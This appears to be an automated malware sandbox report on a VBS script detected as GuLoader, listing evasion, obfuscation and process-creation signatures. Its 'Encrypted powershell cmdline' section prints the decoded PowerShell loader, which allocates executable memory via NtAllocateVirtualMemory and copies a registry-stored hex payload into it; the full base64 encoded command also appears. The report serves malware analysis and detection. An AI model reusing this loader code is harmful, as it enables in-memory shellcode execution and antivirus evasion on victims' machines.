Source: classification engine Classification label: mal72.troj.evad.winVBS@8/8@0/0
Source: C:\Windows\System32\wscript.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior

Data Obfuscation
barindex
Yara detected GuLoader
Source: Yara match File source: 0000000C.00000002.782730251.0000000009DF0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 12_2_0528203F push 0C00005Eh; retf 12_2_05282049
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 12_2_0528D360 push es; ret 12_2_0528D376
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 12_2_0528D340 push es; ret 12_2_0528D356
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 12_2_0528D381 push es; ret 12_2_0528D396
Compiles C# or VB.Net code
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qcbqzoit\qcbqzoit.cmdline
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qcbqzoit\qcbqzoit.cmdline Jump to behavior
Drops PE files
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe File created: C:\Users\user\AppData\Local\Temp\qcbqzoit\qcbqzoit.dll Jump to dropped file
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 2099 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1359 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6664 Thread sleep time: -1844674407370954s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6664 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Found dropped PE file which has not been started or loaded
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\qcbqzoit\qcbqzoit.dll Jump to dropped file
Found WSH timer for Javascript or VBS script (likely evasive script)
Source: C:\Windows\System32\wscript.exe Window found: window name: WSH-Timer Jump to behavior
Contains long sleeps (>= 3 min)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Enables debug privileges
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Encrypted powershell cmdline option found
Source: C:\Windows\System32\wscript.exe Process created: Base64 decoded #brdfdtton Stvne Zinced INDSTT Mettartamg7 Sala cebal FORST Osteolit1 Undiscou6 Adressa Canadi9 OVERTALE Beme destrukti OSTEANRETN Driftsstyr1 INDLEDENDE Bagt7 BARSLEDES OOPHO Laced9 Add-Type -TypeDefinition @"using System;using System.Runtime.InteropServices;public static class Hexastich1{[DllImport("KERNEL32")]public static extern void RtlMoveMemory(IntPtr Bagfuls51,ref Int32 Bagfuls52,int Bagfuls53);[DllImport("ntdll.dll", EntryPoint="NtAllocateVirtualMemory")]public static extern int VA(int Hexastich6,ref Int32 Semire,int Bagfuls5,ref Int32 Hexastich,int Print8,int Hexastich7);[DllImport("USER32")]public static extern IntPtr EnumWindows(uint Bagfuls55,int Bagfuls56);}"@#DEHACHE Tosse3 Teater6 dialectic ENLISTEDR Fdse7 Astro Swerver9 downey ribhust Tagr Sprges Villa5 Heterodyn1 EUPLOI Bytte3 snkerfr Bundgarn strmkreds Ltningbi5 inds Airlift5 OCTAVINAVI Skokomishb Udrensning5 Thrawcy Monosodi5 impaleme Indsatsent7 ordensm $Hexastich3=0;$Hexastich9=1048576;$Hexastich8=[Hexastich1]::VA(-1,[ref]$Hexastich3,0,[ref]$Hexastich9,12288,64)$Senaterfo=(Get-ItemProperty -Path "HKCU:\Software\TIOLOG").Acetamidph2$Util = [System.Byte[]]::CreateInstance([System.Byte],$Senaterfo.Length / 2)For($i=0; $i -lt $Senaterfo.Length; $i+=2){ $Util[$i/2] = [convert]::ToByte($Senaterfo.Substring($i, 2), 16) }for($concomita=0; $concomita -lt $Util.count ; $concomita++){[Hexastich1]::RtlMoveMemory($Hexastich3+$concomita,[r
Source: C:\Windows\System32\wscript.exe Process created: Base64 decoded #brdfdtton Stvne Zinced INDSTT Mettartamg7 Sala cebal FORST Osteolit1 Undiscou6 Adressa Canadi9 OVERTALE Beme destrukti OSTEANRETN Driftsstyr1 INDLEDENDE Bagt7 BARSLEDES OOPHO Laced9 Add-Type -TypeDefinition @"using System;using System.Runtime.InteropServices;public static class Hexastich1{[DllImport("KERNEL32")]public static extern void RtlMoveMemory(IntPtr Bagfuls51,ref Int32 Bagfuls52,int Bagfuls53);[DllImport("ntdll.dll", EntryPoint="NtAllocateVirtualMemory")]public static extern int VA(int Hexastich6,ref Int32 Semire,int Bagfuls5,ref Int32 Hexastich,int Print8,int Hexastich7);[DllImport("USER32")]public static extern IntPtr EnumWindows(uint Bagfuls55,int Bagfuls56);}"@#DEHACHE Tosse3 Teater6 dialectic ENLISTEDR Fdse7 Astro Swerver9 downey ribhust Tagr Sprges Villa5 Heterodyn1 EUPLOI Bytte3 snkerfr Bundgarn strmkreds Ltningbi5 inds Airlift5 OCTAVINAVI Skokomishb Udrensning5 Thrawcy Monosodi5 impaleme Indsatsent7 ordensm $Hexastich3=0;$Hexastich9=1048576;$Hexastich8=[Hexastich1]::VA(-1,[ref]$Hexastich3,0,[ref]$Hexastich9,12288,64)$Senaterfo=(Get-ItemProperty -Path "HKCU:\Software\TIOLOG").Acetamidph2$Util = [System.Byte[]]::CreateInstance([System.Byte],$Senaterfo.Length / 2)For($i=0; $i -lt $Senaterfo.Length; $i+=2){ $Util[$i/2] = [convert]::ToByte($Senaterfo.Substring($i, 2), 16) }for($concomita=0; $concomita -lt $Util.count ; $concomita++){[Hexastich1]::RtlMoveMemory($Hexastich3+$concomita,[r Jump to behavior
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowspowerShell\v1.0\powershell.exe" -EncodedCommand "IwBiAHIAZABmAGQAdAB0AG8AbgAgAFMAdAB2AG4AZQAgAFoAaQBuAGMAZQBkACAASQBOAEQAUwBUAFQAIABNAGUAdAB0AGEAcgB0AGEAbQBnADcAIABTAGEAbABhACAAYwBlAGIAYQBsACAARgBPAFIAUwBUACAATwBzAHQAZQBvAGwAaQB0ADEAIABVAG4AZABpAHMAYwBvAHUANgAgAEEAZAByAGUAcwBzAGEAIABDAGEAbgBhAGQAaQA5ACAATwBWAEUAUgBUAEEATABFACAAQgBlAG0AZQAgAGQAZQBzAHQAcgB1AGsAdABpACAATwBTAFQARQBBAE4AUgBFAFQATgAgAEQAcgBpAGYAdABzAHMAdAB5AHIAMQAgAEkATgBEAEwARQBEAEUATgBEAEUAIABCAGEAZwB0ADcAIABCAEEAUgBTAEwARQBEAEUAUwAgAE8ATwBQAEgATwAgAEwAYQBjAGUAZAA5ACAADQAKAEEAZABkAC0AVAB5AHAAZQAgAC0AVAB5AHAAZQBEAGUAZgBpAG4AaQB0AGkAbwBuACAAQAAiAA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwA7AA0ACgBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAYwBsAGEAcwBzACAASABlAHgAYQBzAHQAaQBjAGgAMQANAAoAewANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIASwBFAFIATgBFAEwAMwAyACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAHYAbwBpAGQAIABSAHQAbABNAG8AdgBlAE0AZQBtAG8AcgB5ACgASQBuAHQAUAB0AHIAIABCAGEAZwBmAHUAbABzADUAMQAsAHIAZQBmACAASQBuAHQAMwAyACAAQgBhAGcAZgB1AGwAcwA1ADIALABpAG4AdAAgAEIAYQBnAGYAdQBsAHMANQAzACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbgB0AGQAbABsAC4AZABsAGwAIgAsACAARQBuAHQAcgB5AFAAbwBpAG4AdAA9ACIATgB0AEEAbABsAG8AYwBhAHQAZQBWAGkAcgB0AHUAYQBsAE0AZQBtAG8AcgB5ACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGkAbgB0ACAAVgBBACgAaQBuAHQAIABIAGUAeABhAHMAdABpAGMAaAA2ACwAcgBlAGYAIABJAG4AdAAzADIAIABTAGUAbQBpAHIAZQAsAGkAbgB0ACAAQgBhAGcAZgB1AGwAcwA1ACwAcgBlAGYAIABJAG4AdAAzADIAIABIAGUAeABhAHMAdABpAGMAaAAsAGkAbgB0ACAAUAByAGkAbgB0ADgALABpAG4AdAAgAEgAZQB4AGEAcwB0AGkAYwBoADcAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBVAFMARQBSADMAMgAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEUAbgB1AG0AVwBpAG4AZABvAHcAcwAoAHUAaQBuAHQAIABCAGEAZwBmAHUAbABzADUANQAsAGkAbgB0ACAAQgBhAGcAZgB1AGwAcwA1ADYAKQA7AA0ACgB9AA0ACgAiAEAADQAKACMARABFAEgAQQBDAEgARQAgAFQAbwBzAHMAZQAzACAAVABlAGEAdABlAHIANgAgAGQAaQBhAGwAZQBjAHQAaQBjACAARQBOAEwASQBTAFQARQBEAFIAIABGAGQAcwBlADcAIABBAHMAdAByAG8AIABTAHcAZQByAHYAZQByADkAIABkAG8AdwBuAGUAeQAgAHIAaQBiAGgAdQBzAHQAIABUAGEAZwByACAAUwBwAHIAZwBlAHMAIABWAGkAbABsAGEANQAgAEgAZQB0AGUAcgBvAGQAeQBuADEAIABFAFUAUABMAE8ASQAgAEIAeQB0AHQAZQAzACAAcwBuAGsAZQByAGYAcgAgAEIAdQBuAGQAZwBhAHIAbgAgAHMAdAByAG0AawByAGUAZABzACAATAB0AG4AaQBuAGcAYgBpADUAIABpAG4AZABzACAAQQBpAHIAbABpAGYAdAA1ACAATwBDAFQAQQBWAEkATgBBAFYASQAgAFMAawBvAGsAbwBtAGkAcwBoAGIAIABVAGQAcgBlAG4AcwBuAGkAbgBnADUAIABUAGgAcgBhAHcAYwB5ACAATQBvAG4AbwBzAG8AZABpADUAIABpAG0AcABhAGwAZQBtAGUAIABJAG4AZABzAGEAdABzAGUAbgB0ADcAIABvAHIAZABlAG4AcwBtACAAIAANAAoAJABIAGUAeABhAHMAdABpAGMAaAAzAD0AMAA7AA0ACgAkAEgAZQB4AGEAcwB0AGkAYwBoADkAPQAxADAANAA4ADUANwA2ADsADQAKACQASABlAHgAYQBzAHQAaQBjAGgAOAA9AFsASABlAHgAYQBzAHQAaQBjAGgAMQBdADoAOgBWAEEAKAAtADEALABbAHIAZQBmAF0AJABIAGUAeABhAHMAdABpAGMAaAAzACwAMAAsAFsAcgBlAGYAXQAkAEgAZQB4AGEAcwB0AGkAYwBoADkALAAxADIAMgA4ADgALA
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowspowerShell\v1.0\powershell.exe" -EncodedCommand "IwBiAHIAZABmAGQAdAB0AG8AbgAgAFMAdAB2AG4AZQAgAFoAaQBuAGMAZQBkACAASQBOAEQAUwBUAFQAIABNAGUAdAB0AGEAcgB0AGEAbQBnADcAIABTAGEAbABhACAAYwBlAGIAYQBsACAARgBPAFIAUwBUACAATwBzAHQAZQBvAGwAaQB0ADEAIABVAG4AZABpAHMAYwBvAHUANgAgAEEAZAByAGUAcwBzAGEAIABDAGEAbgBhAGQAaQA5ACAATwBWAEUAUgBUAEEATABFACAAQgBlAG0AZQAgAGQAZQBzAHQAcgB1AGsAdABpACAATwBTAFQARQBBAE4AUgBFAFQATgAgAEQAcgBpAGYAdABzAHMAdAB5AHIAMQAgAEkATgBEAEwARQBEAEUATgBEAEUAIABCAGEAZwB0ADcAIABCAEEAUgBTAEwARQBEAEUAUwAgAE8ATwBQAEgATwAgAEwAYQBjAGUAZAA5ACAADQAKAEEAZABkAC0AVAB5AHAAZQAgAC0AVAB5AHAAZQBEAGUAZgBpAG4AaQB0AGkAbwBuACAAQAAiAA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwA7AA0ACgBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAYwBsAGEAcwBzACAASABlAHgAYQBzAHQAaQBjAGgAMQANAAoAewANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIASwBFAFIATgBFAEwAMwAyACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAHYAbwBpAGQAIABSAHQAbABNAG8AdgBlAE0AZQBtAG8AcgB5ACgASQBuAHQAUAB0AHIAIABCAGEAZwBmAHUAbABzADUAMQAsAHIAZQBmACAASQBuAHQAMwAyACAAQgBhAGcAZgB1AGwAcwA1ADIALABpAG4AdAAgAEIAYQBnAGYAdQBsAHMANQAzACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbgB0AGQAbABsAC4AZABsAGwAIgAsACAARQBuAHQAcgB5AFAAbwBpAG4AdAA9ACIATgB0AEEAbABsAG8AYwBhAHQAZQBWAGkAcgB0AHUAYQBsAE0AZQBtAG8AcgB5ACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGkAbgB0ACAAVgBBACgAaQBuAHQAIABIAGUAeABhAHMAdABpAGMAaAA2ACwAcgBlAGYAIABJAG4AdAAzADIAIABTAGUAbQBpAHIAZQAsAGkAbgB0ACAAQgBhAGcAZgB1AGwAcwA1ACwAcgBlAGYAIABJAG4AdAAzADIAIABIAGUAeABhAHMAdABpAGMAaAAsAGkAbgB0ACAAUAByAGkAbgB0ADgALABpAG4AdAAgAEgAZQB4AGEAcwB0AGkAYwBoADcAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBVAFMARQBSADMAMgAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEUAbgB1AG0AVwBpAG4AZABvAHcAcwAoAHUAaQBuAHQAIABCAGEAZwBmAHUAbABzADUANQAsAGkAbgB0ACAAQgBhAGcAZgB1AGwAcwA1ADYAKQA7AA0ACgB9AA0ACgAiAEAADQAKACMARABFAEgAQQBDAEgARQAgAFQAbwBzAHMAZQAzACAAVABlAGEAdABlAHIANgAgAGQAaQBhAGwAZQBjAHQAaQBjACAARQBOAEwASQBTAFQARQBEAFIAIABGAGQAcwBlADcAIABBAHMAdAByAG8AIABTAHcAZQByAHYAZQByADkAIABkAG8AdwBuAGUAeQAgAHIAaQBiAGgAdQBzAHQAIABUAGEAZwByACAAUwBwAHIAZwBlAHMAIABWAGkAbABsAGEANQAgAEgAZQB0AGUAcgBvAGQAeQBuADEAIABFAFUAUABMAE8ASQAgAEIAeQB0AHQAZQAzACAAcwBuAGsAZQByAGYAcgAgAEIAdQBuAGQAZwBhAHIAbgAgAHMAdAByAG0AawByAGUAZABzACAATAB0AG4AaQBuAGcAYgBpADUAIABpAG4AZABzACAAQQBpAHIAbABpAGYAdAA1ACAATwBDAFQAQQBWAEkATgBBAFYASQAgAFMAawBvAGsAbwBtAGkAcwBoAGIAIABVAGQAcgBlAG4AcwBuAGkAbgBnADUAIABUAGgAcgBhAHcAYwB5ACAATQBvAG4AbwBzAG8AZABpADUAIABpAG0AcABhAGwAZQBtAGUAIABJAG4AZABzAGEAdABzAGUAbgB0ADcAIABvAHIAZABlAG4AcwBtACAAIAANAAoAJABIAGUAeABhAHMAdABpAGMAaAAzAD0AMAA7AA0ACgAkAEgAZQB4AGEAcwB0AGkAYwBoADkAPQAxADAANAA4ADUANwA2ADsADQAKACQASABlAHgAYQBzAHQAaQBjAGgAOAA9AFsASABlAHgAYQBzAHQAaQBjAGgAMQBdADoAOgBWAEEAKAAtADEALABbAHIAZQBmAF0AJABIAGUAeABhAHMAdABpAGMAaAAzACwAMAAsAFsAcgBlAGYAXQAkAEgAZQB4AGEAcwB0AGkAYwBoADkALAAxADIAMgA4ADgALA Jump to behavior
Creates a process in suspended mode (likely to inject code)
